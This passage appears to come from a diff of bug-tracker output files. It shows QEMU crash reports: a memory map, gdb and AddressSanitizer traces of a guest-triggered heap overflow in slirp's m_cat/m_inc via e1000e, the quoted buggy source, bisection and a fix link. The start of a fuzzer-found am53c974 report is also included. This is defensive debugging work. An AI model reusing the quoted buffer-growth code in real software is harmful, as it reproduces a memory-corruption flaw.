---p 00000000 00:00 0 +7f664d8ea000-7f664d9ea000 rw-p 00000000 00:00 0 +7f664d9ea000-7f664d9eb000 ---p 00000000 00:00 0 +7f664d9eb000-7f664daeb000 rw-p 00000000 00:00 0 +7f664daeb000-7f664daec000 ---p 00000000 00:00 0 +7f664daec000-7f664dbec000 rw-p 00000000 00:00 0 +7f664dbec000-7f664dbed000 ---p 00000000 00:00 0 +7f664dbed000-7f664dced000 rw-p 00000000 00:00 0 +7f664dced000-7f664dcee000 ---p 00000000 00:00 0 +7f664dcee000-7f664ddee000 rw-p 00000000 00:00 0 +7f664ddee000-7f664ddef000 ---p 00000000 00:00 0 +7f664ddef000-7f664deef000 rw-p 00000000 00:00 0 +7f664deef000-7f664def0000 ---p 00000000 00:00 0 +7f664def0000-7f664dff0000 rw-p 00000000 00:00 0 +7f664dff0000-7f664dff1000 ---p 00000000 00:00 0 +7f664dff1000-7f664e0f1000 rw-p 00000000 00:00 0 +7f664e0f1000-7f664e0f2000 ---p 00000000 00:00 0 +7f664e0f2000-7f664e1f2000 rw-p 00000000 00:00 0 +7f664e1f2000-7f664e1f3000 ---p 00000000 00:00 0 +7f664e1f3000-7f664e2f3000 rw-p 00000000 00:00 0 +7f664e2f3000-7f664e2f4000 ---p 00000000 00:00 0 +7f664e2f4000-7f664e3f4000 rw-p 00000000 00:00 0 +7f664e3f4000-7f664e3f5000 ---p 00000000 00:00 0 +7f664e3f5000-7f664e4f5000 rw-p 00000000 00:00 0 +7f664e4f5000-7f664e4f6000 ---p 00000000 00:00 0 +7f664e4f6000-7f664e5f6000 rw-p 00000000 00:00 0 +7f664e5f6000-7f664e5f7000 ---p 00000000 00:00 0 +7f664e5f7000-7f664e6f7000 rw-p 00000000 00:00 0 +7f664e6f7000-7f664e6f8000 ---p 00000000 00:00 0 +7f664e6f8000-7f664e7f8000 rw-p 00000000 00:00 0 +7f664e7f8000-7f664e7f9000 ---p 00000000 00:00 0 +7f664e7f9000-7f664e8f9000 rw-p 00000000 00:00 0 +7f664e8f9000-7f664e8fa000 ---p 00000000 00:00 0 +7f664e8fa000-7f664e9fa000 rw-p 00000000 00:00 0 +7f664e9fa000-7f664e9fb000 ---p 00000000 00:00 0 +7f664e9fb000-7f664eafb000 rw-p 00000000 00:00 0 +7f664eafb000-7f664eafc000 ---p 00000000 00:00 0 +7f664eafc000-7f664ebfc000 rw-p 00000000 00:00 0 +7f664ebfc000-7f664ebfd000 ---p 00000000 00:00 0 +7f664ebfd000-7f664ecfd000 rw-p 00000000 00:00 0 +7f664ecfd000-7f664ecfe000 ---p 00000000 00:00 0 +7f664ecfe000-7f664edfe000 rw-p 00000000 00:00 0 +7f664edfe000-7f664edff000 ---p 00000000 00:00 0 +7f664edff000-7f664eeff000 rw-p 00000000 00:00 0 +7f664eeff000-7f664ef00000 ---p 00000000 00:00 0 +7f664ef00000-7f664f000000 rw-p 00000000 00:00 0 +7f664f6fe000-7f664f6ff000 ---p 00000000 00:00 0 +7f664f6ff000-7f664f7ff000 rw-p 00000000 00:00 0 +7f664f7ff000-7f664f800000 ---p 00000000 00:00 0 +7f664f800000-7f6650000000 rw-p 00000000 00:00 0 +7f6650000000-7f6650022000 rw-p 00000000 00:00 0 +7f6650022000-7f6654000000 ---p 00000000 00:00 0 +7f66540f5000-7f66540f6000 ---p 00000000 00:00 0 +7f66540f6000-7f66541f6000 rw-p 00000000 00:00 0 +7f66541f6000-7f66541f7000 ---p 00000000 00:00 0 +7f66541f7000-7f66542f7000 rw-p 00000000 00:00 0 +7f66542f7000-7f66542f8000 ---p 00000000 00:00 0 +7f66542f8000-7f66543f8000 rw-p 00000000 00:00 0 +7f66543f8000-7f66543f9000 ---p 00000000 00:00 0 +7f66543f9000-7f66544f9000 rw-p 00000000 00:00 0 +7f66544f9000-7f66544fa000 ---p 00000000 00:00 0 +7f66544fa000-7f66545fa000 rw-p 00000000 00:00 0 +7f66545fa000-7f66545fb000 ---p 00000000 00:00 0 +7f66545fb000-7f66546fb000 rw-p 00000000 00:00 0 +7f66546fb000-7f66546fc000 ---p 00000000 00:00 0 +7f66546fc000-7f66547fc000 rw-p 00000000 00:00 0 +7f66547fc000-7f66547fd000 ---p 00000000 00:00 0 +7f66547fd000-7f66548fd000 rw-p 00000000 00:00 0 +7f66548fd000-7f66548fe000 ---p 00000000 00:00 0 +7f66548fe000-7f66549fe000 rw-p 00000000 00:00 0 +7f66549fe000-7f66549ff000 ---p 00000000 00:00 0 +7f66549ff000-7f6654aff000 rw-p 00000000 00:00 0 +7f6654aff000-7f6654b00000 ---p 00000000 00:00 0 +7f6654b00000-7f6654c00000 rw-p 00000000 00:00 0 +7f6654c00000-7f6654c01000 rw-p 00000000 00:00 0 +7f6654c01000-7f6654c02000 ---p 00000000 00:00 0 +7f6654cff000-7f6654d00000 ---p 00000000 00:00 0 +7f6654d00000-7f6654e00000 rw-p 00000000 00:00 0 +7f6654e00000-7f6654e01000 rw-p 00000000 00:00 0 +7f6654e01000-7f6654e02000 ---p 00000000 00:00 0 +7f6654eff000-7f6654f00000 ---p 00000000 00:00 0 +7f6654f00000-7f6655000000 rw-p 00000000 00:00 0 +7f6655000000-7f6655200000 rw-p 00000000 00:00 0 +7f6655200000-7f6655201000 ---p 00000000 00:00 0 +7f665523b000-7f6656af1000 r-xp 00000000 103:02 2233416 /usr/lib/x86_64-linux-gnu/libicudata.so.55.1 +7f6656af1000-7f6656cf0000 ---p 018b6000 103:02 2233416 /usr/lib/x86_64-linux-gnu/libicudata.so.55.1 +7f6656cf0000-7f6656cf1000 r--p 018b5000 103:02 2233416 /usr/lib/x86_64-linux-gnu/libicudata.so.55.1 +7f6656cf1000-7f6656cf2000 rw-p 018b6000 103:02 2233416 /usr/lib/x86_64-linux-gnu/libicudata.so.55.1 +7f6656cf2000-7f6656e71000 r-xp 00000000 103:02 2233420 /usr/lib/x86_64-linux-gnu/libicuuc.so.55.1 +7f6656e71000-7f6657071000 ---p 0017f000 103:02 2233420 /usr/lib/x86_64-linux-gnu/libicuuc.so.55.1 +7f6657071000-7f6657081000 r--p 0017f000 103:02 2233420 /usr/lib/x86_64-linux-gnu/libicuuc.so.55.1 +7f6657081000-7f6657082000 rw-p 0018f000 103:02 2233420 /usr/lib/x86_64-linux-gnu/libicuuc.so.55.1 +7f6657082000-7f6657086000 rw-p 00000000 00:00 0 +7f6657086000-7f6657237000 r-xp 00000000 103:02 2237922 /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.3 +7f6657237000-7f6657436000 ---p 001b1000 103:02 2237922 /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.3 +7f6657436000-7f665743e000 r--p 001b0000 103:02 2237922 /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.3 +7f665743e000-7f6657440000 rw-p 001b8000 103:02 2237922 /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.3 +7f6657440000-7f6657441000 rw-p 00000000 00:00 0 +7f6657441000-7f6657e00000 r--p 00000000 103:02 2235565 /usr/lib/locale/locale-archive +7f6657e00000-7f66d7e00000 rw-p 00000000 00:00 0 +7f66d7e00000-7f66d7e01000 ---p 00000000 00:00 0 +7f66d7eff000-7f66d7f00000 ---p 00000000 00:00 0 +7f66d7f00000-7f66d8000000 rw-p 00000000 00:00 0 +7f66d8000000-7f66d8b29000 rw-p 00000000 00:00 0 +7f66d8b29000-7f66dc000000 ---p 00000000 00:00 0 +7f66dc000000-7f66dc022000 rw-p 00000000 00:00 0 +7f66dc022000-7f66e0000000 ---p 00000000 00:00 0 +7f66e008a000-7f66e008b000 ---p 00000000 00:00 0 +7f66e008b000-7f66e018b000 rw-p 00000000 00:00 0 +7f66e018b000-7f66e01c2000 r-xp 00000000 103:02 2236734 /usr/lib/x86_64-linux-gnu/libcroco-0.6.so.3.0.1 +7f66e01c2000-7f66e03c2000 ---p 00037000 103:02 2236734 /usr/lib/x86_64-linux-gnu/libcroco-0.6.so.3.0.1 +7f66e03c2000-7f66e03c5000 r--p 00037000 103:02 2236734 /usr/lib/x86_64-linux-gnu/libcroco-0.6.so.3.0.1 +7f66e03c5000-7f66e03c6000 rw-p 0003a000 103:02 2236734 /usr/lib/x86_64-linux-gnu/libcroco-0.6.so.3.0.1 +7f66e03c6000-7f66e03fb000 r-xp 00000000 103:02 2237572 /usr/lib/x86_64-linux-gnu/librsvg-2.so.2.40.13 +7f66e03fb000-7f66e05fb000 ---p 00035000 103:02 2237572 /usr/lib/x86_64-linux-gnu/librsvg-2.so.2.40.13 +7f66e05fb000-7f66e05fc000 r--p 00035000 103:02 2237572 /usr/lib/x86_64-linux-gnu/librsvg-2.so.2.40.13 +7f66e05fc000-7f66e05fd000 rw-p 00036000 103:02 2237572 /usr/lib/x86_64-linux-gnu/librsvg-2.so.2.40.13 +7f66e05fd000-7f66e05ff000 r-xp 00000000 103:02 2493292 /usr/lib/x86_64-linux-gnu/gdk-pixbuf-2.0/2.10.0/loaders/libpixbufloader-svg.so +7f66e05ff000-7f66e07fe000 ---p 00002000 103:02 2493292 /usr/lib/x86_64-linux-gnu/gdk-pixbuf-2.0/2.10.0/loaders/libpixbufloader-svg.so +7f66e07fe000-7f66e07ff000 r--p 00001000 103:02 2493292 /usr/lib/x86_64-linux-gnu/gdk-pixbuf-2.0/2.10.0/loaders/libpixbufloader-svg.so +7f66e07ff000-7f66e0800000 rw-p 00002000 103:02 2493292 /usr/lib/x86_64-linux-gnu/gdk-pixbuf-2.0/2.10.0/loaders/libpixbufloader-svg.so +7f66e0800000-7f66e0840000 rw-p 00000000 00:00 0 +7f66e0840000-7f66e0841000 ---p 00000000 00:00 0 +7f66e08ff000-7f66e0900000 ---p 00000000 00:00 0 +7f66e0900000-7f66e0a00000 rw-p 00000000 00:00 0 +7f66e0a00000-7f66e0a10000 rw-p 00000000 00:00 0 +7f66e0a10000-7f66e0a11000 ---p 00000000 00:00 0 +7f66e0aff000-7f66e0b00000 ---p 00000000 00:00 0 +7f66e0b00000-7f66e0c00000 rw-p 00000000 00:00 0 +7f66e0c00000-7f66e1c00000 rw-p 00000000 00:00 0 +7f66e1c00000-7f66e1c01000 ---p 00000000 00:00 0 +7f66e1cff000-7f66e1d00000 ---p 00000000 00:00 0 +7f66e1d00000-7f66e1e00000 rw-p 00000000 00:00 0 +7f66e1e00000-7f66e1e20000 rw-p 00000000 00:00 0 +7f66e1e20000-7f66e1e21000 ---p 00000000 00:00 0 +7f66e1e5c000-7f66e1eb3000 r--p 00000000 103:02 3277771 /usr/share/fonts/truetype/ubuntu-font-family/Ubuntu-R.ttf +7f66e1eb3000-7f66e1ebe000 r--s 00000000 103:02 3019418 /var/cache/fontconfig/945677eb7aeaf62f1d50efc3fb3ec7d8-le64.cache-6 +7f66e1ebe000-7f66e1ed3000 r--s 00000000 103:02 3019394 /var/cache/fontconfig/04aabc0a78ac019cf9454389977116d2-le64.cache-6 +7f66e1eff000-7f66e1f00000 ---p 00000000 00:00 0 +7f66e1f00000-7f66e2000000 rw-p 00000000 00:00 0 +7f66e2000000-7f66e2040000 rw-p 00000000 00:00 0 +7f66e2040000-7f66e2041000 ---p 00000000 00:00 0 +7f66e204a000-7f66e204b000 rw-p 00000000 00:00 0 +7f66e204b000-7f66e2051000 r--s 00000000 103:02 3019400 /var/cache/fontconfig/2cd17615ca594fa2959ae173292e504c-le64.cache-6 +7f66e2051000-7f66e2052000 r--s 00000000 103:02 3019397 /var/cache/fontconfig/0d8c3b2ac0904cb8a57a757ad11a4a08-le64.cache-6 +7f66e2052000-7f66e2053000 r--s 00000000 103:02 3019399 /var/cache/fontconfig/1ac9eb803944fde146138c791f5cc56a-le64.cache-6 +7f66e2053000-7f66e2057000 r--s 00000000 103:02 3019404 /var/cache/fontconfig/385c0604a188198f04d133e54aba7fe7-le64.cache-6 +7f66e2057000-7f66e2058000 r--s 00000000 103:02 3019431 /var/cache/fontconfig/dc05db6664285cc2f12bf69c139ae4c3-le64.cache-6 +7f66e2058000-7f66e205b000 r--s 00000000 103:02 3019414 /var/cache/fontconfig/767a8244fc0220cfb567a839d0392e0b-le64.cache-6 +7f66e205b000-7f66e2060000 r--s 00000000 103:02 3019417 /var/cache/fontconfig/8801497958630a81b71ace7c5f9b32a8-le64.cache-6 +7f66e2060000-7f66e2067000 r--s 00000000 103:02 3019401 /var/cache/fontconfig/3047814df9a2f067bd2d96a2b9c36e5a-le64.cache-6 +7f66e2067000-7f66e206d000 r--s 00000000 103:02 3019422 /var/cache/fontconfig/b47c4e1ecd0709278f4910c18777a504-le64.cache-6 +7f66e206d000-7f66e2080000 r--s 00000000 103:02 3019428 /var/cache/fontconfig/d52a8644073d54c13679302ca1180695-le64.cache-6 +7f66e2080000-7f66e208b000 r--s 00000000 103:02 3019416 /var/cache/fontconfig/83bf95040141907cd45bb53cf7c1c148-le64.cache-6 +7f66e208b000-7f66e209d000 r--s 00000000 103:02 3019420 /var/cache/fontconfig/9b89f8e3dae116d678bbf48e5f21f69b-le64.cache-6 +7f66e209d000-7f66e20bc000 r--s 00000000 103:02 2752558 /usr/share/mime/mime.cache +7f66e20bc000-7f66e20bd000 ---p 00000000 00:00 0 +7f66e20bd000-7f66e21bd000 rw-p 00000000 00:00 0 +7f66e21bd000-7f66e21be000 ---p 00000000 00:00 0 +7f66e21be000-7f66e2ca2000 rw-p 00000000 00:00 0 +7f66e2ca2000-7f66e2ca3000 ---p 00000000 00:00 0 +7f66e2ca3000-7f66e2da3000 rw-p 00000000 00:00 0 +7f66e2da3000-7f66e2da4000 ---p 00000000 00:00 0 +7f66e2da4000-7f66e35a4000 rw-p 00000000 00:00 0 +7f66e35a4000-7f66e35ab000 r-xp 00000000 103:02 2237425 /usr/lib/x86_64-linux-gnu/libogg.so.0.8.2 +7f66e35ab000-7f66e37ab000 ---p 00007000 103:02 2237425 /usr/lib/x86_64-linux-gnu/libogg.so.0.8.2 +7f66e37ab000-7f66e37ac000 r--p 00007000 103:02 2237425 /usr/lib/x86_64-linux-gnu/libogg.so.0.8.2 +7f66e37ac000-7f66e37ad000 rw-p 00008000 103:02 2237425 /usr/lib/x86_64-linux-gnu/libogg.so.0.8.2 +7f66e37ad000-7f66e37d7000 r-xp 00000000 103:02 2233113 /usr/lib/x86_64-linux-gnu/libvorbis.so.0.4.8 +7f66e37d7000-7f66e39d6000 ---p 0002a000 103:02 2233113 /usr/lib/x86_64-linux-gnu/libvorbis.so.0.4.8 +7f66e39d6000-7f66e39d7000 r--p 00029000 103:02 2233113 /usr/lib/x86_64-linux-gnu/libvorbis.so.0.4.8 +7f66e39d7000-7f66e39d8000 rw-p 0002a000 103:02 2233113 /usr/lib/x86_64-linux-gnu/libvorbis.so.0.4.8 +7f66e39d8000-7f66e39e1000 r-xp 00000000 103:02 2237286 /usr/lib/x86_64-linux-gnu/libltdl.so.7.3.1 +7f66e39e1000-7f66e3be0000 ---p 00009000 103:02 2237286 /usr/lib/x86_64-linux-gnu/libltdl.so.7.3.1 +7f66e3be0000-7f66e3be1000 r--p 00008000 103:02 2237286 /usr/lib/x86_64-linux-gnu/libltdl.so.7.3.1 +7f66e3be1000-7f66e3be2000 rw-p 00009000 103:02 2237286 /usr/lib/x86_64-linux-gnu/libltdl.so.7.3.1 +7f66e3be2000-7f66e3bf6000 r-xp 00000000 103:02 2237676 /usr/lib/x86_64-linux-gnu/libtdb.so.1.3.8Aborted (core dumped) + +I can recreate this here. + +#0 0x00007fffec275feb in raise () at /lib64/libc.so.6 +#1 0x00007fffec2605c1 in abort () at /lib64/libc.so.6 +#2 0x00007fffec2b89d7 in __libc_message () at /lib64/libc.so.6 +#3 0x00007fffec2beeac in () at /lib64/libc.so.6 +#4 0x00007fffec2c091c in _int_free () at /lib64/libc.so.6 +#5 0x00007ffff725b4d2 in g_free () at /lib64/libglib-2.0.so.0 +#6 0x0000555555b49551 in m_free (m=0x7fffc44b0dd0) at /home/dgilbert/git/qemu/slirp/mbuf.c:114 +#7 0x0000555555b4a33d in sbappend (so=<optimized out>, m=<optimized out>) at /home/dgilbert/git/qemu/slirp/sbuf.c:82 +#8 0x0000555555b4d6ae in tcp_input (m=0x7fffc44b0dd0, iphlen=<optimized out>, inso=<optimized out>, af=<optimized out>) + at /home/dgilbert/git/qemu/slirp/tcp_input.c:1300 +#9 0x0000555555b48d98 in slirp_input (slirp=<optimized out>, pkt=0x7fffc44ad900 "RU\n", pkt_len=pkt_len@entry=66) + at /home/dgilbert/git/qemu/slirp/slirp.c:875 +#10 0x0000555555b378e0 in net_slirp_receive (nc=<optimized out>, buf=<optimized out>, size=66) at /home/dgilbert/git/qemu/net/slirp.c:121 +#11 0x0000555555b2ff4e in nc_sendv_compat (flags=<optimized out>, iovcnt=3, iov=0x7fffceff9a40, nc=0x5555567d5e60) + at /home/dgilbert/git/qemu/net/net.c:701 +#12 0x0000555555b2ff4e in qemu_deliver_packet_iov (sender=<optimized out>, flags=<optimized out>, iov=0x7fffceff9a40, iovcnt=3, opaque=0x5555567d5e60) + at /home/dgilbert/git/qemu/net/net.c:728 +#13 0x0000555555b32744 in qemu_net_queue_deliver_iov (iovcnt=3, iov=0x7fffceff9a40, flags=0, sender=0x555557a70ae0, queue=0x5555567d6010) + at /home/dgilbert/git/qemu/net/queue.c:179 +#14 0x0000555555b32744 in qemu_net_queue_send_iov (queue=0x5555567d6010, sender=0x555557a70ae0, flags=0, iov=0x7fffceff9a40, iovcnt=3, sent_cb=<optimized out>) at /home/dgilbert/git/qemu/net/queue.c:224 +#15 0x0000555555a6ec61 in net_tx_pkt_sendv (pkt=0x555557a71010, iov_cnt=3, iov=0x7fffceff9a40, nc=0x555557a70ae0) + at /home/dgilbert/git/qemu/hw/net/net_tx_pkt.c:546 +#16 0x0000555555a6ec61 in net_tx_pkt_do_sw_fragmentation (pkt=pkt@entry=0x555557a71010, nc=nc@entry=0x555557a70ae0) + at /home/dgilbert/git/qemu/hw/net/net_tx_pkt.c:588 +#17 0x0000555555a6f87f in net_tx_pkt_send (pkt=0x555557a71010, nc=nc@entry=0x555557a70ae0) at /home/dgilbert/git/qemu/hw/net/net_tx_pkt.c:625 +#18 0x0000555555a78ff8 in e1000e_tx_pkt_send (queue_index=<optimized out>, tx=0x555557a1d1e8, core=0x5555579fcf80) + at /home/dgilbert/git/qemu/hw/net/e1000e_core.c:665 +#19 0x0000555555a78ff8 in e1000e_process_tx_desc (queue_index=<optimized out>, dp=0x7fffceff9f30, tx=0x555557a1d1e8, core=0x5555579fcf80) + at /home/dgilbert/git/qemu/hw/net/e1000e_core.c:742 +#20 0x0000555555a78ff8 in e1000e_start_xmit (core=0x5555579fcf80, txr=<optimized out>, txr=<optimized out>) + at /home/dgilbert/git/qemu/hw/net/e1000e_core.c:933 +#21 0x0000555555a792b9 in e1000e_set_tdt (core=<optimized out>, index=<optimized out>, val=<optimized out>) + at /home/dgilbert/git/qemu/hw/net/e1000e_core.c:2450 +#22 0x0000555555a7c0a5 in e1000e_core_write (core=0x5555579fcf80, addr=<optimized out>, val=220, size=4) + at /home/dgilbert/git/qemu/hw/net/e1000e_core.c:3255 +#23 0x0000555555876c37 in memory_region_write_accessor (mr=0x5555579fcbb0, addr=14360, value=<optimized out>, size=4, shift=<optimized out>, mask=<optimized out>, attrs=...) at /home/dgilbert/git/qemu/memory.c:527 +---Type <return> to continue, or q <return> to quit--- + out>, access_size_max=<optimized out>, access_fn=0x555555876bc0 <memory_region_write_accessor>, mr=0x5555579fcbb0, attrs=...) at /home/dgilbert/git/qemu/memory.c:594 +#25 0x00005555558794c1 in memory_region_dispatch_write (mr=mr@entry=0x5555579fcbb0, addr=14360, data=<optimized out>, size=4, attrs=attrs@entry=...) at /home/dgilbert/git/qemu/memory.c:1479 +#26 0x0000555555823833 in flatview_write_continue (fv=fv@entry=0x7fffc50aebc0, addr=addr@entry=4273485848, attrs=..., buf=buf@entry=0x7ffff7ff3028 <incomplete sequence \334>, len=len@entry=4, addr1=<optimized out>, l=<optimized out>, mr=0x5555579fcbb0) at /home/dgilbert/git/qemu/exec.c:3255 +#27 0x0000555555823a59 in flatview_write (fv=0x7fffc50aebc0, addr=4273485848, attrs=..., buf=0x7ffff7ff3028 <incomplete sequence \334>, len=4) at /home/dgilbert/git/qemu/exec.c:3294 +#28 0x000055555582737f in address_space_write (as=<optimized out>, addr=<optimized out>, attrs=..., buf=buf@entry=0x7ffff7ff3028 <incomplete sequence \334>, len=<optimized out>) at /home/dgilbert/git/qemu/exec.c:3384 +#29 0x000055555582740a in address_space_rw (as=<optimized out>, addr=<optimized out>, attrs=..., attrs@entry=..., buf=buf@entry=0x7ffff7ff3028 <incomplete sequence \334>, len=<optimized out>, is_write=<optimized out>) + at /home/dgilbert/git/qemu/exec.c:3395 +#30 0x000055555588b7b8 in kvm_cpu_exec (cpu=cpu@entry=0x55555683ddf0) at /home/dgilbert/git/qemu/accel/kvm/kvm-all.c:1979 +#31 0x0000555555862896 in qemu_kvm_cpu_thread_fn (arg=0x55555683ddf0) at /home/dgilbert/git/qemu/cpus.c:1215 +#32 0x00007fffec605594 in start_thread () at /lib64/libpthread.so.0 +#33 0x00007fffec3390df in clone () at /lib64/libc.so.6 + +(This is with a fedora guest, so that's irrelevant) + +Looks like it might be e1000e specific? +I can recreate it with either q35 with no extra options (it has e1000e by default), pc or q35 specifying e1000e, but plain pc works fine. + +Simple test; scp bigfile from guest to user@10.0.2.2: (i.e. host) + +Dave + +It's indeed e1000e specific, when I change e1000e to e1000, I can upload file freely. Looks like there is an overflow somewhere in e1000e that corrupted the heap chunk header. + +Hi, + +I have find the overflow point using ASAN. + +void +m_cat(struct mbuf *m, struct mbuf *n) +{ + /* + * If there's no room, realloc + */ + if (M_FREEROOM(m) < n->m_len) + m_inc(m, m->m_len + n->m_len); + + memcpy(m->m_data+m->m_len, n->m_data, n->m_len); + m->m_len += n->m_len; + + m_free(n); +} + + +/* make m 'size' bytes large from m_data */ +void +m_inc(struct mbuf *m, int size) +{ + int datasize; + + /* some compilers throw up on gotos. This one we can fake. */ + if (m->m_size > size) { + return; + } + + if (m->m_flags & M_EXT) { + datasize = m->m_data - m->m_ext; + m->m_ext = g_realloc(m->m_ext, size + datasize); + } else { + datasize = m->m_data - m->m_dat; + m->m_ext = g_malloc(size + datasize); + memcpy(m->m_ext, m->m_dat, m->m_size); + m->m_flags |= M_EXT; + } + + m->m_data = m->m_ext + datasize; + m->m_size = size + datasize; +} + +Here m_cat catenates two mbuf, when the first has no buffer, it allocates an M_EXT. +In m_inc, g_malloc called, then return m_cat, the next call to m_cat will trigger oob write. + +Seems the m_len is too big. +In my debug, I see the m->m_len is 0x5b0, but datasize in m_inc is 0x40. Is this right? + +Thanks, +Li Qiang + +==17835==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61f000041dd0 at pc 0x7ffff6e9ad7b bp 0x7fffc6b215d0 sp 0x7fffc6b20d80 +WRITE of size 28 at 0x61f000041dd0 thread T4 + #0 0x7ffff6e9ad7a (/usr/lib/x86_64-linux-gnu/libasan.so.3+0x5cd7a) + #1 0x55555663fa71 in m_cat slirp/mbuf.c:143 + #2 0x555556632cdd in ip_reass slirp/ip_input.c:341 + #3 0x555556631609 in ip_input slirp/ip_input.c:190 + #4 0x55555663bd91 in slirp_input slirp/slirp.c:874 + #5 0x555556600d6f in net_slirp_receive net/slirp.c:121 + #6 0x5555565e8192 in nc_sendv_compat net/net.c:701 + #7 0x5555565e8322 in qemu_deliver_packet_iov net/net.c:728 + #8 0x5555565edda2 in qemu_net_queue_deliver_iov net/queue.c:179 + #9 0x5555565edfaa in qemu_net_queue_send_iov net/queue.c:224 + #10 0x5555565e8547 in qemu_sendv_packet_async net/net.c:764 + #11 0x5555565e8574 in qemu_sendv_packet net/net.c:772 + #12 0x55555636657c in net_tx_pkt_sendv hw/net/net_tx_pkt.c:546 + #13 0x5555563668f3 in net_tx_pkt_do_sw_fragmentation hw/net/net_tx_pkt.c:588 + #14 0x555556366c93 in net_tx_pkt_send hw/net/net_tx_pkt.c:625 + #15 0x55555638586c in e1000e_tx_pkt_send hw/net/e1000e_core.c:665 + #16 0x555556385fca in e1000e_process_tx_desc hw/net/e1000e_core.c:742 + #17 0x555556387680 in e1000e_start_xmit hw/net/e1000e_core.c:933 + #18 0x55555638f390 in e1000e_set_tdt hw/net/e1000e_core.c:2450 + #19 0x5555563911cb in e1000e_core_write hw/net/e1000e_core.c:3255 + #20 0x555556370524 in e1000e_mmio_write hw/net/e1000e.c:105 + #21 0x555555d4ec07 in memory_region_write_accessor /home/liqiang02/qemu-devel/qemu/memory.c:527 + #22 0x555555d4eee3 in access_with_adjusted_size /home/liqiang02/qemu-devel/qemu/memory.c:594 + #23 0x555555d54d16 in memory_region_dispatch_write /home/liqiang02/qemu-devel/qemu/memory.c:1473 + #24 0x555555c94b76 in flatview_write_continue /home/liqiang02/qemu-devel/qemu/exec.c:3255 + #25 0x555555c94da1 in flatview_write /home/liqiang02/qemu-devel/qemu/exec.c:3294 + #26 0x555555c95354 in address_space_write /home/liqiang02/qemu-devel/qemu/exec.c:3384 + #27 0x555555c953a5 in address_space_rw /home/liqiang02/qemu-devel/qemu/exec.c:3395 + #28 0x555555d92c4d in kvm_cpu_exec /home/liqiang02/qemu-devel/qemu/accel/kvm/kvm-all.c:1979 + #29 0x555555d18936 in qemu_kvm_cpu_thread_fn /home/liqiang02/qemu-devel/qemu/cpus.c:1215 + #30 0x5555569afef1 in qemu_thread_start util/qemu-thread-posix.c:504 + #31 0x7fffdadbd493 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x7493) + #32 0x7fffdaafface in __clone (/lib/x86_64-linux-gnu/libc.so.6+0xe8ace) + +AddressSanitizer can not describe address in more detail (wild memory access suspected). +SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.3+0x5cd7a) +Shadow bytes around the buggy address: + 0x0c3e80000360: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x0c3e80000370: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x0c3e80000380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x0c3e80000390: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x0c3e800003a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa +=>0x0c3e800003b0: fa fa fa fa fa fa fa fa fa fa[fa]fa fa fa fa fa + 0x0c3e800003c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x0c3e800003d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x0c3e800003e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x0c3e800003f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x0c3e80000400: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa +Shadow byte legend (one shadow byte represents 8 application bytes): + Addressable: 00 + Partially addressable: 01 02 03 04 05 06 07 + Heap left redzone: fa + Heap right redzone: fb + Freed heap region: fd + Stack left redzone: f1 + Stack mid redzone: f2 + Stack right redzone: f3 + Stack partial redzone: f4 + Stack after return: f5 + Stack use after scope: f8 + Global redzone: f9 + Global init order: f6 + Poisoned by user: f7 + Container overflow: fc + Array cookie: ac + Intra object redzone: bb + ASan internal: fe + Left alloca redzone: ca + Right alloca redzone: cb +Thread T4 created by T0 here: + #0 0x7ffff6e6ef59 in __interceptor_pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.3+0x30f59) + #1 0x5555569b012f in qemu_thread_create util/qemu-thread-posix.c:534 + #2 0x555555d1b7b9 in qemu_kvm_start_vcpu /home/liqiang02/qemu-devel/qemu/cpus.c:1935 + #3 0x555555d1bf6c in qemu_init_vcpu /home/liqiang02/qemu-devel/qemu/cpus.c:2001 + #4 0x555555f682de in x86_cpu_realizefn /home/liqiang02/qemu-devel/qemu/target/i386/cpu.c:4996 + #5 0x55555621c00c in device_set_realized hw/core/qdev.c:826 + #6 0x5555566f962f in property_set_bool qom/object.c:1984 + #7 0x5555566f5bfc in object_property_set qom/object.c:1176 + #8 0x5555566fbdce in object_property_set_qobject qom/qom-qobject.c:27 + #9 0x5555566f5f19 in object_property_set_bool qom/object.c:1242 + #10 0x555555edf7d7 in pc_new_cpu /home/liqiang02/qemu-devel/qemu/hw/i386/pc.c:1107 + #11 0x555555edfc98 in pc_cpus_init /home/liqiang02/qemu-devel/qemu/hw/i386/pc.c:1155 + #12 0x555555ef2451 in pc_q35_init /home/liqiang02/qemu-devel/qemu/hw/i386/pc_q35.c:130 + #13 0x555555ef37f4 in pc_init_v3_0 /home/liqiang02/qemu-devel/qemu/hw/i386/pc_q35.c:320 + #14 0x55555622ca6d in machine_run_board_init hw/core/machine.c:830 + #15 0x555556099045 in main /home/liqiang02/qemu-devel/qemu/vl.c:4516 + #16 0x7fffdaa372e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0) + + + +For me: +c22098c74a fails +864036e251 fails +3835c310bd doesn't crash, but sometimes the outbound connection hangs. + +So perhaps the crash is 864036e251f54c99d31df124aad7f34f01f5344c + +http://patchwork.ozlabs.org/patch/954491/ is a patch which should fix this crash. + + +Glad to see such a quick fix, and ASAN looks like a great tool :) + +Fix has been included here: +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=09b94ac0f29db3b022a77 + diff --git a/results/classifier/deepseek-1/output/report./1907909 b/results/classifier/deepseek-1/output/report./1907909 new file mode 100644 index 00000000..c253e89c --- /dev/null +++ b/results/classifier/deepseek-1/output/report./1907909 @@ -0,0 +1,65 @@ + +assertion failure in am53c974 + +Hello, + +Using hypervisor fuzzer, hyfuzz, I found an assertion failure through am53c974 emulator. + +A malicious guest 